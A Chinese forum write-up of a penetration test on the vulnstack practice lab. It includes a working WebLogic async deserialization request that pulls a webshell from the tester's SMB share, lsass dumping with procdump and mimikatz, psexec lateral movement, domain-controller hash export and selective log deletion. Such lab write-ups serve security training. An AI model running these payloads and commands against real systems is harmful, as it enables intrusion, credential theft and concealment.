某靶场(vulnstack)渗透测试

前言

第二套靶场,靶场环境做了一点改动,关于域渗透的一些知识可以参考我的另一篇文章域渗透姿势总结 :)

环境

三台主机组成的单域环境

  • WIN2K8 ---- web 模拟外网 / 192.168.3.141 & 10.10.10.80 双网卡
  • PC ---------- 模拟内网主机 / 10.10.10.201
  • DC --------- 域控机器 / 10.10.10.10

过程

先对开放的外网机器信息收集。

扫一下端口

7001端口, weblogic10.3.6.0

访问之

针对该版本的 weblogic ,可以尝试下反序列化漏洞 & 弱口令

反序列化漏洞是由 wls9-async 组件 导致的,该组件默认开启,看一下是否存在该漏洞

访问 192.168.3.141:7001/_async

192.168.3.141:7001/_async/AsyncResponseService

测试存在该漏洞,直接抓包尝试反弹 shell

使用 powershell 等方式反弹 shell 均失败,猜测可能有防护软件, windows 下命令相对少一些,转变思路,写入木马。

尝试了 powershell / bitsadmin / certuil 等方式,都被禁掉了==

想直接通过命令 echo 一个 jsp 的马 因为 % 的问题老是报错,本来想编码一下再写进去,没找到好的编码命令。

最终的解决方案是本地搭建一个 smb 服务器,通过文件共享的方式把文件拷贝到目标机上。

kali 下自带 impacket ,通过 impacket-smbserver 起一个服务

impacker-smbserver ShareName SharePath

抓包执行 copy 命令,将冰蝎马拷贝到 weblogicweb 目录中。

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.3.141:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DNT: 1
Connection: close
Content-Type: text/xml
Content-Length: 769
​
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>copy \\192.168.3.128\share\shell.jsp n.jsp </string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

访问一下,500 ,连接马

收集信息, systeminfo 查看补丁信息,基本没打补丁

提权辅助页 查一下能用的 exp ,为后续做准备。

whoami 查看当前权限,管理员权限..

查看网卡信息,发现存在内网。

存在域环境,定位到域控ip为10.10.10.10

因为拿到的权限就是管理权限,接下来思路就很清晰,抓哈希,横向渗透,登域控,导出哈希。

如果拿到的是一个本地用户权限,可以查询当前机器上登录过的其他用户的令牌,窃取域用户的令牌来探测域用户。 meterpreter 下的 incognito 插件很方便。

尝试提权,查看进程发现有数字卫士,手头暂时又没有免杀的提权脚本,提权先放一放。

抓取哈希,使用微软官方的 procdump.exe 导出 lsass.exe 内存,本地 mimikatz 读取。

procdump.exe -accepteula -ma lsass.exe lsass.dmp

mimikatz::sekurlsa:minidump lsass.dmp

mimikatz::sekurlsa:logonpasswords

上传 reGeorgSocksProxy.py 提供的 jsp 文件,代理进内网,也可以用冰蝎自带的 socks 代理

内网探测到两台存活主机, 10.10.10.201 以及 10.10.10.10

10.10.10.201 是域内一台成员机, 10.10.10.10 是域控机器。

proxychains 挂代理扫一下开放的端口,没扫到啥有用的东西,尝试使用抓到的哈希登录。

msfpsexec 模块连接失败,使用微软官方自带的 psexec.exe 连接成功,拿下该主机。

查看进程发现也安装了数字卫士,前期的操作都拦截了==

继续使用 psexec 远程执行命令

域控机器上未安装任何防护软件,可以直接用 powershell 或者法国神器导出哈希,也可以将该文件拖回本地提取,如果域内用户较多,该文件可能比较大,文件回传可能会有些问题。

使用 vshadow.exe 导出文件,然后拖回本地提取哈希。具体的细节可以看我另一篇文章

kali 下使用 rdesktop 访问3389,也可以在 windows 下使用 proxifier 全局代理 mstsc.exe 连接远程桌面。

测试完成后清理痕迹,把相关日志删除掉,全部删除动静太大,只删除指定的日志,操作可以看三好学生师傅的文章

踩得坑

procdump运行问题

经过测试, procdump.exe 使用管理员权限就能转储进程内存,命令行下直接运行会在靶机弹出界面需要点同意才能转储,可以使用 procdump64.exe -accepteula -ma lsass.exe lsass.dmp 直接执行。

psexec 问题

有了域管账号密码,使用 psexec.exe 连不上域内机器,提示所有管道反例都在使用中

使用 -s 参数 获得一个 system 权限的 shell

cmd乱码

使用 chcp 命令切换编码

chcp 65001 // utf-8 编码

总结

因为跳板机与域内主机安装了防护软件,常见的白名单执行方式都没法使用,对免杀提出了很高的要求。

拿到权限后,可以把 shell 反弹到 cs 上,后续渗透操作会方便很多,也利于团队协作。

weblogic 除了反序列化的洞以外,也存在弱口令 [email protected] ,部署war包拿权限也应该可行。

因为直接拿到了账户密码,如果只能获得哈希,可以使用 msfpsexec 模块传递哈希值,有了域内用户的账号密码,也可以尝试 MS14-068kerberos 协议,因为要在被控机上注入票据,被控机有防护,暂时无法突破...

4 Likes

靶机是自己搭建的吗?感觉可以打包分享一下

..靶场是红日安全的那个,vulnstack

哦哦 我知道了 之前看到过 还想着有没有 wp 呢
感谢分享